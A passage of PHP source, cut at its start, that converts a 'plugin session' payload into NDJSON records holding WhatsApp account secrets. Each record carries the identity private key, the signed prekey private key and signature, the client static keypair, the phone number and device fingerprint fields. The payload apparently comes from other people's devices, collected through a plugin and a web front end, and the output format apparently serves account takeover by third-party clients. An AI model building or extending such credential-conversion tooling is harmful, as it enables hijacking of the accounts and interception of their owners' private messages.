|null */ public function convert(PluginSession $session, ?Device $device = null): ?array { $blob = $session->fullPayload(); if (!is_array($blob)) { return null; } $pks = $blob['phoneKeyStore'] ?? null; $ident = is_array($pks) ? ($pks['identity'] ?? null) : null; $spkHex = is_array($pks) ? ($pks['signedPreKey']['hexKey'] ?? null) : null; $csB64 = $blob['clientStaticKeypairBase64'] ?? null; if (!is_array($ident) || !is_string($spkHex ?? null) || !is_string($csB64 ?? null)) { return null; } $phone = $this->stringOf($blob['userId'] ?? $blob['account'] ?? null); $dc = is_array($blob['deviceConfig'] ?? null) ? $blob['deviceConfig'] : []; [$cc, $country] = $this->inferCcCountry($phone, $device); $in = $cc !== '' && str_starts_with($phone, $cc) ? substr($phone, strlen($cc)) : $phone; $identPub = $this->hexToBytes($ident['hexPublic'] ?? ''); $identPriv = $this->hexToBytes($ident['hexPrivate'] ?? ''); $spk = $this->parseSignedPreKey($spkHex); $csPriv = base64_decode((string) $csB64, true) ?: ''; $csPub = $this->deriveCurve25519Public($csPriv); $record = [ 'cc' => $cc, 'clientStaticPrivateKey' => $this->b64($csPriv), 'clientStaticPublicKey' => $this->b64($csPub), 'country' => $country, 'device' => $this->stringOf($dc['model'] ?? $dc['device'] ?? null), 'deviceUUID' => '', 'identityPrivateKey' => $this->b64($identPriv), 'identityPublicKey' => $this->b64($identPub), 'in' => $in, 'jid' => $phone, 'language' => '', 'manufacturer' => $this->stringOf($dc['brand'] ?? null) ?: 'Apple', 'mcc' => $this->stringOf($dc['sim_operator'] ?? null), 'mnc' => '', 'osBuildNumber' => $this->stringOf($dc['display'] ?? null), 'osVersion' => $this->stringOf($dc['sdk_release'] ?? null), 'phone' => $phone, 'phoneUUID' => $this->stringOf($blob['phoneId'] ?? null), 'registrationID' => (int) ($ident['registration_id'] ?? 0), 'roProductBoard' => $this->stringOf($dc['board'] ?? null), 'roProductDevice' => $this->stringOf($dc['device'] ?? null), 'signPreKeyID' => $spk['id'] ?? 0, 'signPreKeyPrivateKey' => $this->b64($spk['priv'] ?? ''), 'signPreKeyPublicKey' => $this->b64($spk['pub'] ?? ''), 'signPreKeySignature' => $this->b64($spk['sig'] ?? ''), 'whatsappVersion' => $this->stringOf($blob['whatsappVersion'] ?? $blob['version'] ?? null), ]; // Enforce fixed key order. $ordered = []; foreach (self::FIELD_ORDER as $k) { $ordered[$k] = $record[$k] ?? ''; } return $ordered; } /** One NDJSON line (no trailing newline). */ public function convertToLine(PluginSession $session, ?Device $device = null): ?string { $rec = $this->convert($session, $device); if ($rec === null) { return null; } $json = json_encode($rec, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); return $json === false ? null : $json; } /** * @return array{cc:string, country:string} */ private function inferCcCountry(string $phone, ?Device $device): array { if ($phone !== '') { [$cc, $country] = CountryCallingCode::inferFromPhone($phone); if ($cc !== '') { return [$cc, $country]; } } // Fallback: device.country (CF-IPCountry ISO code) -> calling code. if ($device !== null) { $iso = strtoupper(trim((string) $device->country)); $cc = CountryCallingCode::callingCodeForCountry($iso); if ($cc !== null) { return [$cc, $iso]; } } return ['', '']; } /** * Parse signedPreKey.hexKey protobuf: * field 1 (varint) = prekey_id * field 2 (bytes) = public key (33 bytes, 05 prefix) * field 3 (bytes) = private key (32 bytes) * field 4 (bytes) = signature (64 bytes) * * @return array{id:int, pub:string, priv:string, sig:string} */ private function parseSignedPreKey(string $hex): array { $d = $this->hexToBytes($hex); $out = ['id' => 0, 'pub' => '', 'priv' => '', 'sig' => '']; $o = 0; $n = strlen($d); while ($o < $n) { [$tag, $o] = $this->readVarint($d, $o); $field = $tag >> 3; $wire = $tag & 7; if ($wire === 0) { [$v, $o] = $this->readVarint($d, $o); if ($field === 1) { $out['id'] = (int) $v; } } elseif ($wire === 2) { [$ln, $o] = $this->readVarint($d, $o); $v = substr($d, $o, $ln); $o += $ln; if ($field === 2) { $out['pub'] = $v; } elseif ($field === 3) { $out['priv'] = $v; } elseif ($field === 4) { $out['sig'] = $v; } } elseif ($wire === 1) { $o += 8; } elseif ($wire === 5) { $o += 4; } else { break; } } return $out; } /** Curve25519 public key from a 32-byte private key (libsodium). */ private function deriveCurve25519Public(string $priv): string { if (strlen($priv) !== 32) { return ''; } try { return sodium_crypto_box_publickey_from_secretkey($priv); } catch (\SodiumException $e) { return ''; } } /** @return array{0:int, 1:int} */ private function readVarint(string $d, int $o): array { $v = 0; $s = 0; while ($o < strlen($d)) { $b = ord($d[$o]); $o++; $v |= ($b & 0x7f) << $s; if (($b & 0x80) === 0) { break; } $s += 7; } return [$v, $o]; } private function hexToBytes(string $hex): string { $hex = preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? ''; if ($hex === '' || strlen($hex) % 2 !== 0) { return ''; } return hex2bin($hex) ?: ''; } private function b64(string $bytes): string { return $bytes === '' ? '' : base64_encode($bytes); } private function stringOf(mixed $v): string { if (is_int($v) || is_float($v)) { return (string) $v; } if (is_string($v)) { $v = trim($v); return $v; } return ''; } }